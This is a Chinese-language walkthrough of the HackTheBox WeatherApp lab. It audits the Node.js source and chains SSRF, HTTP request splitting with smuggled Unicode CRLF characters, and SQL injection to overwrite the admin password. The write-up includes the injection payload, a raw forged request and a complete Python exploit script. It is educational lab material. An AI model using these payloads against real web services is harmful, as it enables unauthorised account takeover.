HackTheBox WeatherApp WP 一道 SSRF + SQL 注入的典型案例,代码审计
2022-4-14 17:14:29 Author: www.freebuf.com(查看原文) 阅读量:27 收藏

博客地址,还请大家多多支持 芜风

0x01 靶场简单分析

靶场界面如图所示。

image

提示语是很长一段,翻译过来之后如图。

image

中间有一段话引人注目。

This weather application is notorious for trapping the souls of ambitious weathermen like me.

这里有点感觉,这个网站应该是钓鱼的网站,通过天气预报钓鱼。

再分析一下,它这里的 ublock 会把一部分给 block 掉。关闭 ublock,再刷新一下网站看看是否有奇效。
呃,怪怪的。打开 f12 之后,边上又出现了更怪的。

image

0x02 开打

面对这么一个奇怪的网站,必然是先扫描目录了 ~ 扫出来了一个登录注册界面,运气还可以噢,上去康康。

image

登录界面尝试

在登录界面,一开始是使用 123 登录的,登录后回显为 "You are not admin"。嗯,感觉用户名是 admin,而且 admin 拥有较高的权限,是本题破解的核心所在。而不论输入任何 username 都会被保存,有点 shiro 的感觉。

尝试用 admin 登录,回显如下图所示。

image

爆破的闲暇时间尝试一下是否存在 SQL 注入,说实话在输入 admin 之后就感觉不存在 SQL 注入了,感觉更像 shiro 的工作方式。

尝试 SQL 注入,失败,回到 register 界面康康。

注册界面尝试

一般来说如果登陆界面不存在 SQL 注入的话,可以多试试 register 注册界面。原因详见 —————— 注册界面的 SQL 注入

让我没想到的是,注册界面直接 401 了………………

image

而且报错之后会直接返回到 login 的界面 ………… 匪夷所思。

爆破的结果也出来了,

看到题目中的附件,下载下来看一看。然后就直接看到了 flag 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈笑死,但肯定不能这么做。

image

这里移步至 "index.js" 的界面下,这里面是一堆判断的东西。

image

  • 第 19 行 -- 第 34 行,很清楚得解释了为什么注册的时候会是返回 401 的状态码。

  • 第 36 行 -- 第 53 行,审计登录界面,并获取 flag

  • 针对上述问题,逐一审计并破解

0x03 代码审计

1. 审计获取 flag 的条件

先把获取 flag 的代码单独贴出来。

{% asset_img FlagCondition.png %}

router.get('/login', (req, res) => {
	return res.sendFile(path.resolve('views/login.html'));
});
router.post('/login', (req, res) => {
	let { username, password } = req.body;
	if (username && password) {
 		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
	return res.send(response('You are not admin'));
 })
 			.catch(() => res.send(response('Something went wrong')));
 }
 	return re.send(response('Missing parameters'));
});

获取 flag 的条件:成为 admin 用户

再回去寻找成为 admin 用户的条件,这里主要两种方式吧,分为原本的数据库当中是否存在 admin 用户。

如果数据库不存在 admin 用户

如果数据库是不存在 admin 用户的话,需要靠注册来实现,注册一个名为 admin 的账户。而在之前,代码审计的时候发现注册的过程当中会存在 401 的情况。

所以如果数据库当中不存在 admin 用户的话,需要去审计注册界面的,感觉是存在 SSRF。

如果数据库存在 admin 用户

那这里就感觉是 SQL 注入了,想办法把 admin 的密码爆出来,或者是通过联合查询的方式篡改密码。

进一步分析,看一看 admin 到底在哪儿。

2. 审计查找 admin

在文件夹中寻找到了 database.js 这个文件,感觉是突破口,代码审计一下。

image

其中的数据库操作,第 24 行,里面的语句表明数据库里面已存在 admin 这一账户了

INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex')

同时密码是随机生成的,我们想要通过正常的暴力破解是没有用的,剩下的就是通过注入的方式获取密码。

来看到 Register 这里的判断,对输入的 username 和 password 并没有进行处理。

image

再康康判断 admin 的函数 "isadmin"

image

我们想要成为 admin 用户,就必须知道 admin 用户的密码,而且注入点也是已知的了,在 Register 地方,其实之前的思路也算是正确了一部分,但是被 Register 的 401 给拦截掉了,应该早点想到 SSRF 的。

3. 寻找可攻击的 SSRF 点

到 helpers 文件夹里面找,发现 "weatherData" 是可控的,此处存在 SSRF。

let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

再回去找这个函数 "HttpHelper" 的方法 HttpGet。
image

辗转多次,发现让我们在 /api/weather 里面构造 SSRF,通过 SSRF 访问 Register 接口,在 Register 接口处进行 SQL 注入。

构造 SQL 语句的 payload。

username=admin')
password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

构造完 SQL 注入的语句过后,下一步就是 SSRF 了。

修改 host 为 127.0.0.1,构造 SSRF。

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
username=admin')&password=1') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

写 exp 脚本,此处借用其他人的 exp。

import requests

url = "http://167.172.52.221:30483"

username="admin"

password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='

city='test'

country='test'

json={'endpoint':endpoint,'city':city,'country':country}

res=requests.post(url=url+'/api/weather',json=json)

执行 exp 成功之后再返回到登录界面,使用 admin,admin 登录即可。

0x04 小结

这道题目难度中等,如果不提供源码的话是非常难以解决的,虽然可以想到 SSRF,但有点盲人摸象的感觉。

加上 nodejs 的数据包传输问题,构造 exp 较为麻烦。建议初学者不一定要读懂 exp,只是简单了解做题的思路即可。


文章来源: https://www.freebuf.com/articles/web/327405.html
如有侵权请联系:admin#unsafe.sh